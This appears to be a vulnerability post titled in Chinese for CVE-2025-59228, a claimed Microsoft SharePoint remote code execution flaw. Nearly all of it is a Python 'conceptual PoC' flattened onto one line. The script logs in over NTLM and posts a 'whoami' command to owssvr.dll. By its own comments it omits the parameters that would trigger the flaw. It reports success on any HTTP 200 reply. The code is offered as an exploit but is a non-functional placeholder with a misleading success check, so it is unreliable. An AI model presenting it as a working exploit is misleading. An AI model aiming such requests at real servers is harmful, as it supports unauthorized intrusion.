CVE-2025-59228：Microsoft SharePoint输入验证不当导致远程代码执行漏洞

# CVE-2025-59228 - Microsoft SharePoint RCE PoC (Conceptual) # Vulnerability: Improper Input Validation leading to RCE # Requirements: Authenticated low-privilege SharePoint account import requests from requests_ntlm import HttpNtlmAuth TARGET_URL = "https://target-sharepoint-server" USERNAME = "low_priv_user" PASSWORD = "password" DOMAIN = "DOMAIN" def exploit_cve_2025_59228(target_url, username, password, domain): """ Exploit improper input validation in SharePoint to achieve RCE. The vulnerability allows an authenticated attacker to execute code by sending specially crafted requests to vulnerable SharePoint endpoints. """ session = requests.Session() session.auth = HttpNtlmAuth(f"{domain}\\{username}", password) # Step 1: Authenticate to SharePoint auth_url = f"{target_url}/_layouts/15/authenticate.aspx" session.get(auth_url) # Step 2: Craft malicious payload exploiting input validation flaw # The payload targets the vulnerable endpoint that lacks proper input validation vulnerable_endpoint = f"{target_url}/_vti_bin/owssvr.dll" # Malicious payload leveraging improper input validation # Note: Actual payload structure depends on the specific vulnerable parameter headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Crafted input that bypasses validation checks payload = { "cmd": "whoami", # Command to execute # Additional parameters that trigger the vulnerability } # Step 3: Send exploit request response = session.post(vulnerable_endpoint, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit successful!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_59228(TARGET_URL, USERNAME, PASSWORD, DOMAIN)